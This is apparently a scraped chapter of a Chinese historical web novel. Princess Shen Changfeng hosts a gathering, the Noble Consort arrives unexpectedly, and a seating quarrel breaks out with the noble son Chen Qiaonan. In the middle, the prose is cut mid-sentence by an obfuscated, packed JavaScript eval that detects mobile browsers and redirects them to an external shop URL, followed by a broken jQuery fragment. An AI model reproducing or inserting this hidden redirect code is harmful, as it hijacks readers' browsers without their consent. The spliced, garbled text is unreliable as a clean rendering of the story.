三日后,雅集。
沈长风一脸平和地坐在厅堂上喝着茶杯里的庐山云雾。
一旁的王叔望了望空荡荡待客的地方,又走到庭院中看了看日头,一脸担忧地杵了杵身边的冬至,小声说道。
“我看着日头也不早了,这还没有一个登门的客人,这雅集……”
还办的成吗?
冬至望了望自家公主一脸淡定的神色,悄悄在王叔耳边说道。
“放心吧,王叔,你看,咱们公主那云淡风轻的样子,我觉得今天咱们这雅集肯定能正常进行。”
就在王叔担忧的功夫,门口的小厮回报道。
“孔家二公子到!”
王叔脸上一喜,连忙朝第一位登门的孔明远迎了上去。
“二爷,不愧是我们公主在皇都顶顶好的第一至交好友!”
孔明远潇洒地摇了摇手中的扇子,笑呵呵。
“公主的雅集我怎能不来参加看看,好歹这办雅集的地点,可是我负责修缮的公主府。
今天我怎么也要看看,他们看到公主府后叹为观止、惊掉下巴的表情!”
说着,孔明远便迈步走进了席间。
一柱香后。
座位上,孔明远望了望手里连续喝了三杯茶水。
他又抬头,望着上方一脸淡定喝着茶水,手拿竹简看书的沈长风。
本人直接在席位上坐不住了。
他快步上前,走到了沈长风的面前,伸手一把扯掉她手中的竹简,面色焦急。
“公主,你这雅集给没给人递帖啊,我在座位上都喝了三杯茶水了!这人怎么愣是一个都没见到!”
沈长风一脸不悦地看着突然从她手中抢走竹简的孔明远,疑惑开口。
“明远,可是茶水喝多了,想要如厕?”
孔明远望着沈长风一脸故意气人的模样,一时语噎,又重新把手中抢来的竹简放到了她的手中,袖子一甩,又重新坐回到了席位上。
“真是皇帝不急,太监急!别搞了半天,公主这雅集的阵仗整的挺大,结果宾客里就只有我一个人来了。”
沈长风看着手中的竹简,轻笑几声。
“即使今天的雅集,只有明远一人前来,这雅集也不算白开。
患难见真情,人人都喜锦上添花,不喜雪中送炭。
如今就算无人前来,但我也通过这雅集看到了明远对于我这位知己好友的真心!
也不枉我费心费力地操办这场雅集。”
孔明远没想到沈长风会如此回他,心中猛地划过了一丝愧疚,急忙敛下眼中复杂的神色,拿起手中的茶水,又喝了一口,不说话了。
一盏茶后。
就在沈长风和孔明远百无聊赖的等待中。
公主府外。
空荡荡的巷口,突然驶进了一辆低调奢华的马车。
马车的后面跟着一排又一排的宫女和太监。
王叔看着公主府门前,附着硕大标志的马车,急忙一溜烟小跑到沈长风的身边禀告。
“公主,是贵妃娘娘,贵妃娘娘来参加咱们的雅集了!”
孔明远一听直接惊得下巴都快掉下来。
据他所知,贵妃娘娘不是在云栖寺清修吗?
她怎么会来沈长风的雅集!
沈长风面色不惊,直接从座位上起身,微微整理了一下衣衫,便迈步走出了府外。
沈长风看着从马车上缓缓下来的王瑶华,急忙上前,扶住了她的手臂。
王瑶华看着面前一身清瘦的沈长风,眼中一酸,很快敛去了眼中的伤感,说笑着。
“明珠与我可是三年未见了,如今,可是长成了亭亭玉立的大姑娘了。
这内敛芳华的模样,不愧姐姐给你取得名字,明珠二字与你很相衬。”
沈长风微微一笑,眼底藏着一团暖意,上前轻轻摸了摸王瑶华的手。
“三年未见,贵妃娘娘还如当年一样。荣华正盛,容貌依旧!”
王瑶华轻轻敛了敛她耳边垂落的碎发绒毛,眼神中带着慈爱。
“如果姐姐能见到你如今的模样一定很欣慰。”
沈长风拉着王瑶华的手,两人迈着缓慢的步伐,走进了公主府的大门。
待王瑶华在主位上坐下来,她抬眼看着空荡荡的席位,顿时眼里有了些深意,但扫过席间一人的身影时。
她便对着身边的沈长风,好奇地问道。
“这是孔家的二公子?”
孔明远一听贵妃娘娘提到自己的名字,急忙从座位上起身,跪到了王瑶华的面前。
“回贵妃娘娘,草民正是孔家老二孔明远。”
王瑶华看着下面跪的笔直的孔明远,微微抬了抬头,说道。
“起来吧!”
待孔明远从地上站起,王瑶华再才仔细打量的看了起来,还不忘对着身旁的沈长风说道。
“倒是长的不错,不过,这家世终究是差了些。”
沈长风和孔明远都没想到,王瑶华直接把两人的市井流言当了个真。
沈长风看了一眼,下面红透了耳朵,满脸窘迫的孔明远,跟王瑶华打趣解围着。
“贵妃娘娘说笑了,交友而已,怎能以家世相论。”
王瑶华抬眼看了一眼孔明远,又看了看沈长风,直言。
“明珠说的倒是不错,我看这世间所有儿郎都难与我家明珠相配。”
就在此时,门口的王叔又来禀报。
“贵妃娘娘,公主殿下,福公公带着陛下的圣旨来了!”
沈长风饶有兴致地看着不远处的香炉,抬眼对着孔明远含笑说道。
“明远,这回你不用担心,咱们这雅集无人登门了。等了这么久,咱们这雅集也该开席了。
只不过,这回不是咱们等他们,而是,不知道他们能不能快马加鞭地赶上咱们这次的雅集。”
沈长风刚在门口迎完了福公公进门,随后,就听到门口的禀报声。
“李家九郎,陈家三郎,到!”
只见外面迎面走来了两位公子。
一位长得面容清秀,眉目间透着一股书卷气,身姿挺拔,气质清冷,宛如从画中走出的谪仙。
一位则是一袭黑袍,袍角随风飘动,一双深邃的眼睛,眼神中透着一丝生人勿近的冷冽。
两人对着主位上的贵妃娘娘行完礼后。
沈长风从座位上起身,满眼含笑地对着两人寒暄着。
“未曾想,今日这雅集竟有幸得九郎和三郎临门,当真是蓬荜生辉,不胜荣幸。”
李子衿还未开口,他身边的陈峤南倒是被面前沈长风热情的模样,烦躁地浑身一抖。
陈峤南眼神中带着明显的不屑,嘴角冷笑,语气中带着一丝讽刺。
“这明珠公主的雅集,我可是盼星星盼月亮,盼了好久了。公主三年未回皇都,这皇都的水土,不知公主还适应得惯吗?”
沈长风刚想开口,谁知,比她提前一步开口是李子衿。
“公主自幼在皇都长大,即便离开三年,但生于斯,长于斯的地方,又怎会不适应?”
陈峤南瞥了一眼李子衿并没有说话,走到了席位前刚想要坐下来,可还没等他从席位上坐下时,就看到了席位上首的孔明远。
陈峤南看了看沈长风旁边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598663|205408||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的孔明远,一脸不悦地指了指。
“他怎么在这?”
还未等沈长风回答,陈峤南便直接对着身侧的孔明远,讥讽道。
“孔明远,你觉得你坐在我身边合适吗?”
孔明远立刻听出了陈峤南话中的嫌弃,眼眸微垂,只好认怂地起身腾出座位。
谁知,孔明远刚起身就被沈长风一把给重新按回到了座位上。
孔明远挣扎着起身,望着身侧上方的沈长风。
换个座位而已,没什么大不了的,何必闹大。
孔明远远比其他人要理解此时沈长风在皇都的处境。
反正,每回出席宴会,他们孔家总是坐在最末首。
不过是让个席位而已,很正常。
不必为他大动干戈,扰了兴致。
至于,其他的世家本就是他们孔家攀附的所在。
他们孔家得罪不起,一时间的退让也没什么。
无伤大雅。
反正从小到大,他早就习惯了。
沈长风看了孔明远一眼,随后,给了他一个安抚的眼神,连手上的力道都加强了几分。
她指间死死地按在孔明远的肩膀上,不容拒绝。
“安心坐着。”
沈长风转头又对着陈峤南开口。
“这公主府的雅集,席位自然是由公主府来定夺。本公主三年未回皇都,今日承办雅集的公主府,正是承蒙明远大力相助,才得以修缮一新。他劳苦功高,自然配得上我公主府雅集的上等席位!”
沈长风轻抬眉眼。
“三郎可有什么不满?”
陈峤南被沈长风一噎,怒气喊道。
“一介商贾,怎配与我同席共食?还有你莫要再三郎,三郎地唤我。
你这般称呼,旁人看了,还以为我们关系甚密。
沈长风,你别忘了,三年前正是你打断了我的腿,这才被圣上驱逐到了塞外!”
沈长风莞尔一笑,眼神里带着挑衅。
“本公主当然没有忘记,如果重回当初,我想,我还是会一如既往地打断你的狗腿。
对了,你要是实在不想参加这次的雅集,大可以甩袖离去。
放心,本公主是不会派人拦着你。
只不过,就是不知你陈家三郎在陈家老爷子那边能否交代得过去,也不知你回家以后,是否还会像儿时那样犯了错,被罚跪在祠堂里,等着陈家的家法。”
陈峤南被沈长风激得满脸通红。
“你...你...我原以为塞外三年的苦寒生活能磨平了你的性子,没想到你如今还是如此的......”
嚣张跋扈,不可理喻!
身边的李子衿见两人又要吵起来了,连忙在一旁当起了和事佬,拉着一旁的陈峤南,劝解道。
“我知你心中憋闷,可是公主说的也甚是有理啊,多一事不如少一事。
别忘了,长辈们让我们来公主府参加雅集是为了什么!
公主的面子你不给就不给了,可是皇上和贵妃娘娘的面子,你不能不给啊!”
陈峤南听李子衿这么说,又想到父亲在自己临出门前的嘱咐。
他看着一旁坐在席位上的沈长风悠哉悠哉喝茶的模样,气恼地甩了甩袖子,憋着气在孔明远身边坐了下来。
孔明远也没想到事情发展的结果会是这样。
陈峤南竟然坐在了自己的下首。
他孔家竟然有一天会坐在陈家的上首。
孔明远端起茶杯浅浅喝了一口,摸了摸胸口安抚自己,竭力掩饰住心中的震惊,同时也极力忽视一旁陈峤南那杀人的目光。